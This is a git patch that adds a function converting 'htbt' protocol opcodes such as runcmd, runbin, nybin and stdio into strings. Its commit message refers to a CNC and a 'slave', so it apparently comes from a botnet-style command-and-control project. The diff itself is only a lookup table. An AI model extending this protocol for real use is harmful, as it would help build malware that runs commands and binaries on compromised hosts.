From 062454f554b77c86d9eb738d025263e1e7003ebd Mon Sep 17 00:00:00 2001 From: David Timber Date: Tue, 13 Apr 2021 14:52:26 +1000 Subject: Debug and impl htbt * Add debug prints in htbt * Add `prne_htbt_op_tostr()` * Add "Lock Matrix" to throttle hover request from CNC TXT REC and NYBIN race condition * Fix bug where htbt slave does not reset socket operation timeout timer when there's multiple frames in the line * Reserve `PRNE_HTBT_OP_GET_BIN` and `PRNE_HTBT_OP_BIN` for future impl --- src/protocol.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) (limited to 'src/protocol.c') diff --git a/src/protocol.c b/src/protocol.c index b89b09a..f936787 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -112,6 +112,23 @@ bool prne_net_ep_set_ipv6 ( return inet_pton(AF_INET6, str, &out->addr.addr) != 0; } +const char *prne_htbt_op_tostr (const prne_htbt_op_t x) { + switch (x) { + case PRNE_HTBT_OP_NOOP: return "noop"; + case PRNE_HTBT_OP_STATUS: return "status"; + case PRNE_HTBT_OP_HOST_INFO: return "hostinfo"; + case PRNE_HTBT_OP_HOVER: return "hover"; + case PRNE_HTBT_OP_SOLICIT: return "solicit"; + case PRNE_HTBT_OP_RUN_CMD: return "runcmd"; + case PRNE_HTBT_OP_NY_BIN: return "nybin"; + case PRNE_HTBT_OP_RUN_BIN: return "runbin"; + case PRNE_HTBT_OP_STDIO: return "stdio"; + case PRNE_HTBT_OP_GET_BIN: return "getbin"; + case PRNE_HTBT_OP_BIN: return "bin"; + } + return NULL; +} + void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh) { mh->op = PRNE_HTBT_OP_NOOP; mh->id = 0; -- cgit